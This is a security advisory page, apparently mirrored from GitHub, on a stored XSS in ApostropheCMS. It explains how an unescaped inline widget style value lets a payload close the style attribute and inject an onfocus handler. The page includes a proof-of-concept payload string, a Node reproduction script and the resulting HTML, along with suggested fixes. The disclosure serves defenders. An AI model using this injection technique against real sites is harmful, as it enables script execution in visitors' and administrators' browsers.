GHSA-7JG5-FRGC-C67W

Vulnerability from github – Published: 2026-10-21 17:15 – Updated: 2026-10-21 17:15
VLAI
Summary
ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization
Details

Summary

ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form string style field with a CSS property and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's style="..." attribute without HTML-attribute escaping.

An attacker who can edit the widget can include a double quote in the style value, terminate the style attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.

This is a sibling of CVE-2026-33889 / GHSA-97v6-998m-fp4g. The earlier issue escaped from a <style> element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline style and class attributes.

Details

Root Cause 1: Free-form string style values retain HTML metacharacters

The standard string field converter uses launder.string() and length validation. This performs type normalization, not output encoding for an HTML attribute context:

packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333

self.addFieldType({
  name: 'string',
  // ...
  convert(req, field, data, destination) {
    destination[field.name] = self.apos.launder.string(data[field.name]);
    destination[field.name] = checkStringLength(
      destination[field.name],
      field.min,
      field.max
    );
  }
});

Quotes therefore remain in a value supplied through a style field.

Root Cause 2: The value is converted into inline CSS without value validation

For a field with property but no selector or media query, renderScopedStyles() selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:

packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228

packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647

rule = `${property}: ${normalized.value}${normalized.unit}`;

// ...

if (isInline) {
  return {
    css: '',
    classes: [ ...storage.classes ],
    inline: stringifyRules(storage.styles, true)
  };
}

For example, the value below becomes part of a font-family declaration:

serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'

Root Cause 3: Attribute values are serialized without HTML escaping

getWidgetAttributes() places the inline CSS into an attribute tuple, then concatenates every tuple into key="value" without encoding &, <, >, ', or ":

packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322

if (styleParts.length) {
  attrs.push(
    [ 'style', `${styleParts.join(';')};` ]
  );
}

if (options.asObject) {
  return Object.fromEntries(attrs);
}

return attrs
  .map(([ key, value ]) => `${key}="${value}"`)
  .join(' ');

The same raw serializer also makes a project-defined free-form string style with class: true a potential sibling path, because the string is added to classes and later serialized into class="...". The inline-property path was the path dynamically verified.

Root Cause 4: The unsafe string is used by the automatic public wrapper

Styled widgets use getWidgetAttributes() to create a wrapper around the rendered widget:

packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457

if (hasStyles && self.options.stylesWrapper !== false) {
  const styles = self.apos.styles.prepareWidgetStyles(widget);
  const styleTag = self.apos.styles
    .getWidgetElements(styles, { scene: req.scene });
  const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);

  return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}

Consequently, the injected attribute is present on normal public page renders, not only in the editor UI.

Why the CVE-2026-33889 defense does not prevent this variant

The sibling advisory led to a defense in getWidgetElements() that rewrites </ before CSS is inserted into a <style> element:

css = css.replaceAll('</', '<\\/');

This protects the style-element boundary. The vulnerable path above produces inline output instead of css, so it never reaches that replacement.

Affected Configurations and Versions

The verified configuration has all of the following properties:

  • A widget defines a style field with a free-form type such as string.
  • The field uses property without a selector, causing inline-style rendering, or uses class: true with an unrestricted string value.
  • The attacker has permission to edit a widget containing the field.
  • The malicious content is published, or a higher-privileged user views the affected draft.

Standard range, select, and color presets do not directly provide an unrestricted quote-containing value and were not demonstrated as affected by this variant.

Proof of Concept

Step 1: Configure a widget with a free-form inline style

Add a style field similar to the following to a widget module:

module.exports = {
  extend: '@apostrophecms/widget-type',
  options: {
    label: 'Style Attribute Test'
  },
  styles: {
    add: {
      customFont: {
        type: 'string',
        label: 'Custom Font',
        property: 'font-family'
      }
    }
  }
};

The absence of selector makes the generated declaration inline.

Step 2: Store the payload

As a user who may edit this widget, enter the following value in customFont and save the widget:

serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'

Publish the page, or have another user view the affected draft.

Step 3: Reproduce the renderer output directly

The vulnerable data flow can also be reproduced using the real renderer and serializer from a checked-out, dependency-installed repository:

const methodsFactory = require(
  './packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);

(async () => {
  const { renderScopedStyles } = await import(
    './packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
  );

  const payload =
    'serif" tabindex="0" autofocus ' +
    'onfocus="document.body.dataset.inline=\'executed\'';

  const styles = renderScopedStyles(
    [ {
      name: 'customFont',
      type: 'string',
      property: 'font-family'
    } ],
    { customFont: payload }
  );

  Object.assign(styles, {
    styleId: 'audit-inline',
    widgetId: 'widget-1'
  });

  const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
  console.log('inline:', styles.inline);
  console.log('attributes:', attrs);
})();

Step 4: Observe the unsafe HTML

The current renderer produced:

inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';

The serializer then produced an attribute string equivalent to:

id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-style-classes=""
style="font-family: serif" tabindex="0" autofocus
onfocus="document.body.dataset.inline='executed';"

The attacker-controlled quote terminates the style attribute. tabindex, autofocus, and onfocus become separate live attributes.

Step 5: Confirm execution in a browser

When the generated wrapper was loaded in Chrome 153, autofocus triggered the injected handler automatically. The DOM changed to:

<body data-inline="executed">
  <div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div>
</body>

The safe behavior would be for the quote to appear as &quot; inside the style attribute, with no injected attributes and no change to document.body.dataset.

Impact

  • Stored XSS on published pages: JavaScript executes for unauthenticated visitors who load a page containing the affected widget.
  • Privilege escalation: If an administrator or another privileged editor views the page or draft, the payload executes with that user's application-origin privileges and can perform authenticated actions available to the victim.
  • Persistent content manipulation: The payload is stored with widget content and continues to execute until the style value is removed or the output path is fixed.
  • Phishing and data access: The script can alter the rendered page, read non-HttpOnly same-origin data, and issue same-origin requests as the victim.

Recommended Fix

Fix 1: HTML-escape every string-returning attribute value

The string branch of getWidgetAttributes() should encode values for a double-quoted HTML attribute context before concatenation. At minimum, encode &, <, >, ", and ' using a centralized Apostrophe HTML encoder.

Conceptually:

if (options.asObject) {
  return Object.fromEntries(attrs);
}

return attrs
  .map(([ key, value ]) => {
    return `${key}="${escapeHtmlAttribute(String(value))}"`;
  })
  .join(' ');

The structured asObject branch should remain structured so that its eventual template/DOM renderer can perform context-appropriate encoding.

Fix 2: Validate style values by their destination grammar

Output encoding is the primary fix. As defense in depth:

  • Require select/range/color or another constrained type for common CSS properties.
  • Parse and validate free-form CSS property values instead of treating them as arbitrary strings.
  • For class: true, accept only individual valid class-name tokens rather than an unrestricted string.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.34.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T17:15:07Z",
    "nvd_published_at": "2026-10-20T17:17:33Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper\u0027s `style=\"...\"` attribute without HTML-attribute escaping.\n\nAn attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.\n\nThis is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a `\u003cstyle\u003e` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper\u0027s inline `style` and `class` attributes.\n\n## Details\n\n### Root Cause 1: Free-form string style values retain HTML metacharacters\n\nThe standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context:\n\n[`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333)\n\n```javascript\nself.addFieldType({\n  name: \u0027string\u0027,\n  // ...\n  convert(req, field, data, destination) {\n    destination[field.name] = self.apos.launder.string(data[field.name]);\n    destination[field.name] = checkStringLength(\n      destination[field.name],\n      field.min,\n      field.max\n    );\n  }\n});\n```\n\nQuotes therefore remain in a value supplied through a style field.\n\n### Root Cause 2: The value is converted into inline CSS without value validation\n\nFor a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:\n\n[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228)\n\n[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647)\n\n```javascript\nrule = `${property}: ${normalized.value}${normalized.unit}`;\n\n// ...\n\nif (isInline) {\n  return {\n    css: \u0027\u0027,\n    classes: [ ...storage.classes ],\n    inline: stringifyRules(storage.styles, true)\n  };\n}\n```\n\nFor example, the value below becomes part of a `font-family` declaration:\n\n```text\nserif\" tabindex=\"0\" autofocus onfocus=\"document.body.dataset.inline=\u0027executed\u0027\n```\n\n### Root Cause 3: Attribute values are serialized without HTML escaping\n\n`getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key=\"value\"` without encoding `\u0026`, `\u003c`, `\u003e`, `\u0027`, or `\"`:\n\n[`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322)\n\n```javascript\nif (styleParts.length) {\n  attrs.push(\n    [ \u0027style\u0027, `${styleParts.join(\u0027;\u0027)};` ]\n  );\n}\n\nif (options.asObject) {\n  return Object.fromEntries(attrs);\n}\n\nreturn attrs\n  .map(([ key, value ]) =\u003e `${key}=\"${value}\"`)\n  .join(\u0027 \u0027);\n```\n\nThe same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class=\"...\"`. The inline-property path was the path dynamically verified.\n\n### Root Cause 4: The unsafe string is used by the automatic public wrapper\n\nStyled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget:\n\n[`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457)\n\n```javascript\nif (hasStyles \u0026\u0026 self.options.stylesWrapper !== false) {\n  const styles = self.apos.styles.prepareWidgetStyles(widget);\n  const styleTag = self.apos.styles\n    .getWidgetElements(styles, { scene: req.scene });\n  const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);\n\n  return `${styleTag}\u003cdiv${wrapperAttrs ? \u0027 \u0027 + wrapperAttrs : \u0027\u0027}\u003e${markup}\u003c/div\u003e`;\n}\n```\n\nConsequently, the injected attribute is present on normal public page renders, not only in the editor UI.\n\n### Why the CVE-2026-33889 defense does not prevent this variant\n\nThe sibling advisory led to a defense in `getWidgetElements()` that rewrites `\u003c/` before CSS is inserted into a `\u003cstyle\u003e` element:\n\n```javascript\ncss = css.replaceAll(\u0027\u003c/\u0027, \u0027\u003c\\\\/\u0027);\n```\n\nThis protects the style-element boundary. The vulnerable path above produces `inline` output instead of `css`, so it never reaches that replacement.\n\n## Affected Configurations and Versions\n\nThe verified configuration has all of the following properties:\n\n- A widget defines a style field with a free-form type such as `string`.\n- The field uses `property` without a selector, causing inline-style rendering, or uses `class: true` with an unrestricted string value.\n- The attacker has permission to edit a widget containing the field.\n- The malicious content is published, or a higher-privileged user views the affected draft.\n\nStandard range, select, and color presets do not directly provide an unrestricted quote-containing value and were not demonstrated as affected by this variant.\n\n## Proof of Concept\n\n### Step 1: Configure a widget with a free-form inline style\n\nAdd a style field similar to the following to a widget module:\n\n```javascript\nmodule.exports = {\n  extend: \u0027@apostrophecms/widget-type\u0027,\n  options: {\n    label: \u0027Style Attribute Test\u0027\n  },\n  styles: {\n    add: {\n      customFont: {\n        type: \u0027string\u0027,\n        label: \u0027Custom Font\u0027,\n        property: \u0027font-family\u0027\n      }\n    }\n  }\n};\n```\n\nThe absence of `selector` makes the generated declaration inline.\n\n### Step 2: Store the payload\n\nAs a user who may edit this widget, enter the following value in `customFont` and save the widget:\n\n```text\nserif\" tabindex=\"0\" autofocus onfocus=\"document.body.dataset.inline=\u0027executed\u0027\n```\n\nPublish the page, or have another user view the affected draft.\n\n### Step 3: Reproduce the renderer output directly\n\nThe vulnerable data flow can also be reproduced using the real renderer and serializer from a checked-out, dependency-installed repository:\n\n```javascript\nconst methodsFactory = require(\n  \u0027./packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js\u0027\n);\n\n(async () =\u003e {\n  const { renderScopedStyles } = await import(\n    \u0027./packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs\u0027\n  );\n\n  const payload =\n    \u0027serif\" tabindex=\"0\" autofocus \u0027 +\n    \u0027onfocus=\"document.body.dataset.inline=\\\u0027executed\\\u0027\u0027;\n\n  const styles = renderScopedStyles(\n    [ {\n      name: \u0027customFont\u0027,\n      type: \u0027string\u0027,\n      property: \u0027font-family\u0027\n    } ],\n    { customFont: payload }\n  );\n\n  Object.assign(styles, {\n    styleId: \u0027audit-inline\u0027,\n    widgetId: \u0027widget-1\u0027\n  });\n\n  const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);\n  console.log(\u0027inline:\u0027, styles.inline);\n  console.log(\u0027attributes:\u0027, attrs);\n})();\n```\n\n### Step 4: Observe the unsafe HTML\n\nThe current renderer produced:\n\n```text\ninline: font-family: serif\" tabindex=\"0\" autofocus onfocus=\"document.body.dataset.inline=\u0027executed\u0027;\n```\n\nThe serializer then produced an attribute string equivalent to:\n\n```html\nid=\"audit-inline\"\ndata-apos-widget-style-wrapper-for=\"widget-1\"\ndata-apos-widget-style-classes=\"\"\nstyle=\"font-family: serif\" tabindex=\"0\" autofocus\nonfocus=\"document.body.dataset.inline=\u0027executed\u0027;\"\n```\n\nThe attacker-controlled quote terminates the `style` attribute. `tabindex`, `autofocus`, and `onfocus` become separate live attributes.\n\n### Step 5: Confirm execution in a browser\n\nWhen the generated wrapper was loaded in Chrome 153, autofocus triggered the injected handler automatically. The DOM changed to:\n\n```html\n\u003cbody data-inline=\"executed\"\u003e\n  \u003cdiv id=\"audit-inline\" tabindex=\"0\" autofocus=\"\" onfocus=\"...\"\u003e\u003c/div\u003e\n\u003c/body\u003e\n```\n\nThe safe behavior would be for the quote to appear as `\u0026quot;` inside the `style` attribute, with no injected attributes and no change to `document.body.dataset`.\n\n## Impact\n\n- **Stored XSS on published pages:** JavaScript executes for unauthenticated visitors who load a page containing the affected widget.\n- **Privilege escalation:** If an administrator or another privileged editor views the page or draft, the payload executes with that user\u0027s application-origin privileges and can perform authenticated actions available to the victim.\n- **Persistent content manipulation:** The payload is stored with widget content and continues to execute until the style value is removed or the output path is fixed.\n- **Phishing and data access:** The script can alter the rendered page, read non-HttpOnly same-origin data, and issue same-origin requests as the victim.\n\n## Recommended Fix\n\n### Fix 1: HTML-escape every string-returning attribute value\n\nThe string branch of `getWidgetAttributes()` should encode values for a double-quoted HTML attribute context before concatenation. At minimum, encode `\u0026`, `\u003c`, `\u003e`, `\"`, and `\u0027` using a centralized Apostrophe HTML encoder.\n\nConceptually:\n\n```javascript\nif (options.asObject) {\n  return Object.fromEntries(attrs);\n}\n\nreturn attrs\n  .map(([ key, value ]) =\u003e {\n    return `${key}=\"${escapeHtmlAttribute(String(value))}\"`;\n  })\n  .join(\u0027 \u0027);\n```\n\nThe structured `asObject` branch should remain structured so that its eventual template/DOM renderer can perform context-appropriate encoding.\n\n### Fix 2: Validate style values by their destination grammar\n\nOutput encoding is the primary fix. As defense in depth:\n\n- Require select/range/color or another constrained type for common CSS properties.\n- Parse and validate free-form CSS property values instead of treating them as arbitrary strings.\n- For `class: true`, accept only individual valid class-name tokens rather than an unrestricted string.",
  "id": "GHSA-7jg5-frgc-c67w",
  "modified": "2026-10-21T17:15:07Z",
  "published": "2026-10-21T17:15:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-7jg5-frgc-c67w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.34.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.